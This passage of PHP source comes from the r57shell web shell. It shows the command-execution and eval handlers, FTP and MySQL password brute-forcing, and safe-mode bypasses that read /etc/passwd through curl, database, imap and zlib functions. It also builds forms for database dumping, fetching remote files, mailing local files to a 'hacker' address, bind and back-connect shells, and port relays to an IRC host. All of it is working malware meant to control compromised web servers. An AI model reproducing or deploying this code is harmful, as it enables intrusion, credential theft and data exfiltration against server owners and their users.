1653 $stream = @imap_open($_POST['test7_file'], "", "");
1654 $str = @imap_body($stream, 1);
1655 echo $str;
1656 @imap_close($stream);
1657 break;
1658 case 'test8':
1659 if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang['ru_text118'];
1660 else echo $lang['ru_text119'];
1661 break;
1662 }
1663}
1664else if( ($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")&&($_POST['cmd']!="sql_brute") ){
1665 $cmd_rep = ex($_POST['cmd']);
1666 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
1667 else { echo @htmlspecialchars($cmd_rep)."\n"; }}
1668if ($_POST['cmd']=="ftp_brute") {
1669 $suc = $count = 0;
1670 if (isset($_POST['reverse'])) $use_reverse = 1;
1671 $start = time();
1672 foreach($users as $user) {
1673 $my_dic = array($user);
1674 if ($use_reverse) $my_dic[] = strrev($user);
1675 if ($use_dictionary) $my_dic = array_merge($my_dic, $dictionary);
1676 foreach ($my_dic as $pass) {
1677 ++$count;
1678 $connection = @ftp_connect($ftp_server, $ftp_port, 5);
1679 if (@ftp_login($connection,$user,$pass)) { echo "[+] $user:$pass - success\r\n"; $suc++; @ftp_close($connection); break;}
1680 @ftp_close($connection);
1681 }
1682 }
1683 $finish = time();
1684 $work = $finish - $start;
1685 echo "\r\n-------------------------------------\r\n";
1686 echo $lang['ru_text97'].$count."\r\n";
1687 echo $lang['ru_text98'].$suc."\r\n";
1688 echo "Time of work: ".$work." secs\r\n";
1689}
1690
1691if ($_POST['cmd']=="sql_brute") {
1692 $suc = $count = 0;
1693 $start = time();
1694 foreach($users as $user) {
1695 $my_dic = array('', $user);
1696 $my_dic[] = strrev($user);
1697 if ($use_dictionary) $my_dic = array_merge($my_dic, $dictionary);
1698 foreach ($my_dic as $pass) {
1699 ++$count;
1700 $link = mysql_connect($sql_server, $user, $pass);
1701 if ($link) {
1702 echo "[+] $user:$pass - success\r\n";
1703 $suc++;
1704 @ftp_close($connection);
1705 break;
1706 }
1707 @mysql_close($link);
1708 }
1709 }
1710 $finish = time();
1711 $work = $finish - $start;
1712 echo "\r\n-------------------------------------\r\n";
1713 echo $lang['ru_text97'].$count."\r\n";
1714 echo $lang['ru_text98'].$suc."\r\n";
1715 echo "Time of work: ".$work." secs\r\n";
1716}
1717
1718
1719if ($_POST['cmd']=="php_eval"){
1720 $eval = @str_replace("<?","",$_POST['php_eval']);
1721 $eval = @str_replace("?>","",$eval);
1722 @eval($eval);
1723}
1724if ($_POST['cmd']=="mysql_dump") {
1725 if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
1726 $sql = new my_sql();
1727 $sql->db = $_POST['db'];
1728 $sql->host = $_POST['db_server'];
1729 $sql->port = $_POST['db_port'];
1730 $sql->user = $_POST['mysql_l'];
1731 $sql->pass = $_POST['mysql_p'];
1732 $sql->base = $_POST['mysql_db'];
1733 if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
1734 else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
1735 else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
1736 else {
1737 if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
1738 else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
1739 else { echo "[-] ERROR! Can't write in dump file"; }
1740 }
1741}
1742echo "</textarea></div>";
1743echo "</b>";
1744echo "</td></tr></table>";
1745echo "<table width=100% cellpadding=0 cellspacing=0>";
1746function div_title($title, $id) {
1747 return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
1748}
1749function div($id, $hidden = 0) {
1750 if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) $hidden = 1;
1751 if ($hidden != 0) return '<div id="'.$id.'" style="display: none;">';
1752 else return '<div id="'.$id.'">';
1753}
1754if(!$safe_mode) {
1755 echo $fs.$table_up1.div_title($lang['ru_text2'],'id1').$table_up2.div('id1').$ts;
1756 echo sr(15,"<b>".$lang['ru_text3'].$arrow."</b>",in('text','cmd',85,''));
1757 echo sr(15,"<b>".$lang['ru_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang['ru_butt1']));
1758 echo $te.'</div>'.$table_end1.$fe;
1759} else{
1760 echo $fs.$table_up1.div_title($lang['ru_text28'],'id2').$table_up2.div('id2').$ts;
1761 echo sr(15,"<b>".$lang['ru_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang['ru_butt6']));
1762 echo $te.'</div>'.$table_end1.$fe;
1763}
1764echo $fs.$table_up1.div_title($lang['ru_text42'],'id3').$table_up2.div('id3').$ts;
1765echo sr(15,"<b>".$lang['ru_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang['ru_butt11']));
1766echo $te.'</div>'.$table_end1.$fe;
1767if($safe_mode){
1768 echo $fs.$table_up1.div_title($lang['ru_text57'],'id4').$table_up2.div('id4').$ts;
1769 echo sr(15,"<b>".$lang['ru_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang['ru_text65']."</option><option value=delete>".$lang['ru_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang['ru_text59']."</option><option value=dir>".$lang['ru_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang['ru_butt13']));
1770 echo $te.'</div>'.$table_end1.$fe;
1771}
1772if($safe_mode && $unix){
1773 echo $fs.$table_up1.div_title($lang['ru_text67'],'id5').$table_up2.div('id5').$ts;
1774 echo sr(15,"<b>".$lang['ru_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang['ru_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang['ru_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang['ru_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang['ru_butt1']));
1775 echo $te.'</div>'.$table_end1.$fe;
1776}
1777if(!$safe_mode){
1778$aliases2 = '';
1779foreach ($aliases as $alias_name=>$alias_cmd) {
1780 $aliases2 .= "<option>$alias_name</option>";
1781}
1782echo $fs.$table_up1.div_title($lang['ru_text7'],'id6').$table_up2.div('id6').$ts;
1783echo sr(15,"<b>".ws(9).$lang['ru_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang['ru_butt1']));
1784echo $te.'</div>'.$table_end1.$fe;
1785}
1786
1787echo $fs.$table_up1.div_title($lang['ru_text54'],'id7').$table_up2.div('id7', 1).$ts;
1788echo sr(15,"<b>".$lang['ru_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang['ru_butt12']));
1789echo sr(15,"<b>".$lang['ru_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
1790echo sr(15,"<b>".$lang['ru_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
1791echo $te.'</div>'.$table_end1.$fe;
1792if(!$safe_mode && $unix){
1793echo $fs.$table_up1.div_title($lang['ru_text76'],'id8').$table_up2.div('id8', 1).$ts;
1794echo sr(15,"<b>".$lang['ru_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang['ru_butt12']));
1795echo sr(15,"<b>".$lang['ru_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
1796echo sr(15,"<b>".$lang['ru_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang['ru_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
1797echo $te.'</div>'.$table_end1.$fe;
1798}
1799echo "<form name=pf method=POST >".$table_up1.div_title($lang['ru_text32'],'id9').$table_up2.$font;
1800echo "<input type='hidden' value='0' name='phpe_enc' id='phpe_enc'>";
1801echo "<div align=center>".div('id9',1)."<textarea name=php_eval id=phpcode cols=100 rows=3>";
1802if ($_POST['phpe_enc'] == '1') {
1803 $code = $_POST['php_eval'];
1804 $code = str_replace("eval(base64_decode('", '', $code);
1805 $code = str_replace("'));", '', $code);
1806 $code = base64_decode($code);
1807
1808} else {
1809 $code = (!empty($_POST['php_eval'])) ? ($_POST['php_eval']) : '';
1810}
1811echo $code;
1812echo "</textarea>";
1813echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
1814echo "<br>".ws(1).in('submit','submit',0,$lang['ru_butt1'])." <input type='button' value='encoded' onclick='doit()';>";;
1815echo "</div></div></font>";
1816echo $table_end1.$fe;
1817if($safe_mode&&$curl_on) {
1818echo $fs.$table_up1.div_title($lang['ru_text33'],'id10').$table_up2.div('id10').$ts;
1819echo sr(15,"<b>".$lang['ru_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang['ru_butt8']));
1820echo $te.'</div>'.$table_end1.$fe;
1821}
1822if($safe_mode) {
1823echo $fs.$table_up1.div_title($lang['ru_text34'],'id11').$table_up2.div('id11').$ts;
1824echo "<table class=table1 width=100% align=center>";
1825echo sr(15,"<b>".$lang['ru_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang['ru_butt8']));
1826echo $te.'</div>'.$table_end1.$fe;
1827}
1828if($safe_mode&&$mysql_on) {
1829echo $fs.$table_up1.div_title($lang['ru_text35'],'id12').$table_up2.div('id12').$ts;
1830echo sr(15,"<b>".$lang['ru_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang['ru_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang['ru_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang['ru_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
1831echo sr(15,"<b>".$lang['ru_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang['ru_butt8']));
1832echo $te.'</div>'.$table_end1.$fe;
1833}
1834if($safe_mode&&$mssql_on) {
1835echo $fs.$table_up1.div_title($lang['ru_text85'],'id13').$table_up2.div('id13').$ts;
1836echo sr(15,"<b>".$lang['ru_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang['ru_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang['ru_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang['ru_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
1837echo sr(15,"<b>".$lang['ru_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang['ru_butt8']));
1838echo $te.'</div>'.$table_end1.$fe;
1839}
1840if($safe_mode&&$unix&&function_exists('mb_send_mail')){
1841echo $fs.$table_up1.div_title($lang['ru_text112'],'id22').$table_up2.div('id22').$ts;
1842echo sr(15,"<b>".$lang['ru_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang['ru_butt8']));
1843echo $te.'</div>'.$table_end1.$fe;
1844}
1845if($safe_mode&&function_exists('imap_list')){
1846echo $fs.$table_up1.div_title($lang['ru_text113'],'id23').$table_up2.div('id23').$ts;
1847echo sr(15,"<b>".$lang['ru_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang['ru_butt8']));
1848echo $te.'</div>'.$table_end1.$fe;
1849}
1850if($safe_mode&&function_exists('imap_body')){
1851echo $fs.$table_up1.div_title($lang['ru_text114'],'id24').$table_up2.div('id24').$ts;
1852echo sr(15,"<b>".$lang['ru_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang['ru_butt8']));
1853echo $te.'</div>'.$table_end1.$fe;
1854}
1855if($safe_mode) {
1856echo $fs.$table_up1.div_title($lang['ru_text115'],'id25').$table_up2.div('id25').$ts;
1857echo sr(15,"<b>".$lang['ru_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
1858echo sr(15,"<b>".$lang['ru_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang['ru_butt8']));
1859echo $te.'</div>'.$table_end1.$fe;
1860}
1861if(@ini_get('file_uploads')){
1862echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
1863echo $table_up1.div_title($lang['ru_text5'],'id14').$table_up2.div('id14', 1).$ts;
1864echo sr(15,"<b>".$lang['ru_text6'].$arrow."</b>",in('file','userfile',85,''));
1865echo sr(15,"<b>".$lang['ru_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang['ru_butt2']));
1866echo $te.'</div>'.$table_end1.$fe;
1867}
1868if(!$safe_mode&&$unix) {
1869echo $fs.$table_up1.div_title($lang['ru_text15'],'id15').$table_up2.div('id15', 1).$ts;
1870echo sr(15,"<b>".$lang['ru_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang['ru_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
1871echo sr(15,"<b>".$lang['ru_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang['ru_butt2']));
1872echo $te.'</div>'.$table_end1.$fe;
1873}
1874echo $fs.$table_up1.div_title($lang['ru_text86'],'id16').$table_up2.div('id16', 1).$ts;
1875echo sr(15,"<b>".$lang['ru_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang['ru_butt14']));
1876$arh = $lang['ru_text92'];
1877if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
1878if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
1879if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
1880echo sr(15,"<b>".$lang['ru_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
1881echo $te.'</div>'.$table_end1.$fe;
1882
1883if(@function_exists("ftp_connect")){
1884echo $table_up1.div_title($lang['ru_text93'],'id17').$table_up2.div('id17', 1).$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
1885echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang['ru_text87']."</div></b></font>";
1886echo sr(25,"<b>".$lang['ru_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
1887echo sr(25,"<b>".$lang['ru_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
1888echo sr(25,"<b>".$lang['ru_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
1889echo sr(25,"<b>".$lang['ru_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
1890echo sr(25,"<b>".$lang['ru_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
1891echo sr(25,"<b>".$lang['ru_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
1892echo sr(25,"",in('submit','submit',0,$lang['ru_butt14']));
1893echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
1894echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang['ru_text100']."</div></b></font>";
1895echo sr(25,"<b>".$lang['ru_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
1896echo sr(25,"<b>".$lang['ru_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
1897echo sr(25,"<b>".$lang['ru_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
1898echo sr(25,"<b>".$lang['ru_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
1899echo sr(25,"<b>".$lang['ru_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
1900echo sr(25,"<b>".$lang['ru_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
1901echo sr(25,"",in('submit','submit',0,$lang['ru_butt2']));
1902echo $te."</td>".$fe."</tr></div></table>";
1903}
1904if($unix && @function_exists("ftp_connect")){
1905echo $fs.$table_up1.div_title($lang['ru_text94'],'id18').$table_up2.div('id18', 1).$ts;
1906echo sr(15,"<b>".$lang['ru_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang['ru_butt1']));
1907echo sr(15,"","<font face=Verdana size=-2>".$lang['ru_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang['ru_text95']."</a> )</font>");
1908echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang['ru_text101']);
1909echo sr(15,"",in('checkbox','use_dictionary id=use_dictionary',0,'1').'ИÑпользовать Ñловарь');
1910echo sr(15,"<b>URL ÑловарÑ: ".$arrow."</b>",in('text','ftp_dictionary',85,(!empty($_POST['ftp_dictionary'])?($_POST['ftp_dictionary']):($dictionary_url))));
1911echo $te.'</div>'.$table_end1.$fe;
1912}
1913if(function_exists("mysql_connect")) {
1914echo $fs.$table_up1.div_title('mySQL-bruteforce','id22').$table_up2.div('id22', 1).$ts;
1915echo sr(15,"<b>Host".$arrow."</b>",in('text','sql_server',85,(!empty($_POST['sql_server'])?($_POST['sql_server']):("localhost"))).in('hidden','cmd',0,'sql_brute').ws(4).in('submit','submit',0,$lang['ru_butt1']));
1916echo sr(15,"","<font face=Verdana size=-2>ИÑпользуютÑÑ Ð»Ð¾Ð³Ð¸Ð½Ñ‹ из /etc/passwd ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang['ru_text95']."</a> )</font>");
1917echo sr(15,"",in('checkbox','use_dictionary id=use_dictionary',0,'1').'ИÑпользовать Ñловарь');
1918echo sr(15,"<b>URL ÑловарÑ: ".$arrow."</b>",in('text','sql_dictionary',85,(!empty($_POST['sql_dictionary'])?($_POST['sql_dictionary']):($dictionary_url))));
1919echo $te.'</div>'.$table_end1.$fe;
1920}
1921
1922if(@function_exists("mail")){
1923echo $table_up1.div_title($lang['ru_text102'],'id19').$table_up2.div('id19', 1).$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
1924echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang['ru_text103']."</div></b></font>";
1925echo sr(25,"<b>".$lang['ru_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
1926echo sr(25,"<b>".$lang['ru_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
1927echo sr(25,"<b>".$lang['ru_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
1928echo sr(25,"<b>".$lang['ru_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
1929echo sr(25,"",in('submit','submit',0,$lang['ru_butt15']));
1930echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
1931echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang['ru_text104']."</div></b></font>";
1932echo sr(25,"<b>".$lang['ru_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
1933echo sr(25,"<b>".$lang['ru_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
1934echo sr(25,"<b>".$lang['ru_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
1935echo sr(25,"<b>".$lang['ru_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
1936echo sr(25,"<b>".$lang['ru_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
1937echo sr(25,"",in('submit','submit',0,$lang['ru_butt15']));
1938echo $te."</td>".$fe."</tr></div></table>";
1939}
1940if($mysql_on||$mssql_on||$pg_on||$ora_on) {
1941$select = '<select name=db>';
1942if($mysql_on) $select .= '<option>MySQL</option>';
1943if($mssql_on) $select .= '<option>MSSQL</option>';
1944if($pg_on) $select .= '<option>PostgreSQL</option>';
1945if($ora_on) $select .= '<option>Oracle</option>';
1946$select .= '</select>';
1947echo $table_up1.div_title($lang['ru_text82'],'id20').$table_up2.div('id20', 1).$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
1948echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang['ru_text40']."</div></b></font>";
1949echo sr(35,"<b>".$lang['ru_text80'].$arrow."</b>",$select);
1950echo sr(35,"<b>".$lang['ru_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
1951echo sr(35,"<b>".$lang['ru_text37'].' : '.$lang['ru_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
1952echo sr(35,"<b>".$lang['ru_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
1953echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang['ru_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
1954echo sr(35,"",in('submit','submit',0,$lang['ru_butt9']));
1955echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
1956echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang['ru_text83']."</div></b></font>";
1957echo sr(35,"<b>".$lang['ru_text80'].$arrow."</b>",$select);
1958echo sr(35,"<b>".$lang['ru_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
1959echo sr(35,"<b>".$lang['ru_text37'].' : '.$lang['ru_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
1960echo sr(35,"<b>".$lang['ru_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
1961echo sr(35,"<b>".$lang['ru_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
1962echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang['ru_butt1'])."</div></td>".$fe."</tr></div></table>";
1963}
1964if(!$safe_mode && $unix){
1965echo $table_up1.div_title($lang['ru_text81'],'id21').$table_up2.div('id21', 1).$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
1966echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang['ru_text9']."</div></b></font>";
1967echo sr(40,"<b>".$lang['ru_text10'].$arrow."</b>",in('text','port',15,'11457'));
1968echo sr(40,"<b>".$lang['ru_text11'].$arrow."</b>",in('text','bind_pass',15,'r57'));
1969echo sr(40,"<b>".$lang['ru_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
1970echo sr(40,"",in('submit','submit',0,$lang['ru_butt3']));
1971echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
1972echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang['ru_text12']."</div></b></font>";
1973echo sr(40,"<b>".$lang["$language_text13"].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
1974echo sr(40,"<b>".$lang["$language_text14"].$arrow."</b>",in('text','port',15,'11457'));
1975echo sr(40,"<b>".$lang['ru_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
1976echo sr(40,"",in('submit','submit',0,$lang['ru_butt4']));
1977echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
1978echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang['ru_text22']."</div></b></font>";
1979echo sr(40,"<b>".$lang['ru_text23'].$arrow."</b>",in('text','local_port',15,'11457'));
1980echo sr(40,"<b>".$lang['ru_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
1981echo sr(40,"<b>".$lang['ru_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));
1982echo sr(40,"<b>".$lang['ru_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
1983echo sr(40,"",in('submit','submit',0,$lang['ru_butt5']));
1984echo $te."</td>".$fe."</tr></div></table>";
1985}
1986echo '</table>'.$table_up3."</div></div></td></tr></table>".$f;
1987echo '
1988<script>
1989var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
1990
1991function encode64(input) {
1992 var output = "";
1993 var chr1, chr2, chr3;
1994 var enc1, enc2, enc3, enc4;
1995 var i = 0;
1996
1997 do {
1998 chr1 = input.charCodeAt(i++);
1999 chr2 = input.charCodeAt(i++);
2000 chr3 = input.charCodeAt(i++);
2001
2002 enc1 = chr1 >> 2;
2003 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
2004 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
2005 enc4 = chr3 & 63;
2006
2007 if (isNaN(chr2)) {
2008 enc3 = enc4 = 64;
2009 } else if (isNaN(chr3)) {
